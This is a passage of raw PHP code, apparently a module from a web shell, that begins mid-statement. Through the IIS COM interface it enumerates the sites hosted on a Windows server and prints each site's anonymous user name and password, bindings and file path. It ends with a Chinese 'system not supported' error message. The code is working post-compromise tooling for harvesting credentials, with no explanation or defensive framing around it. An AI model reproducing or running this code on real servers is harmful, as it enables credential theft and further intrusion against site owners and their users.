$s"); } if(IS_WIN && IS_COM){ try{ $obj=@new COM("IIS://localhost/w3svc"); $ctn="\n"; $i=0; foreach($obj as $obj3w) { $i++; if($i%2==0) $ctn.=""; else $ctn.=""; if(!is_numeric($obj3w->Name)) continue; $webSite=new com("IIS://localhost/w3svc/".$obj3w->Name.'/Root'); if(!$webSite) { $ctn.="\n"; continue; } $Binds=""; foreach($obj3w->ServerBindings as $Binds1) { $Binds.=$Binds1."
\n"; } $user=$webSite->AnonymousUserName; $pass=$webSite->AnonymousUserPass; $path=$webSite->path; $ctn.="\n"; } $ctn.="
ID:IIS_USER:IIS_PASS:Domain:Path:
[ERROR]=".$php_errormsg."
".$i."".$user."".$pass."".$Binds."".$path."
"; echo $ctn; } catch(Exception $e){ ShowErr($e->getMessage()); } }else{ ShowErr('系统不支持'); } ?>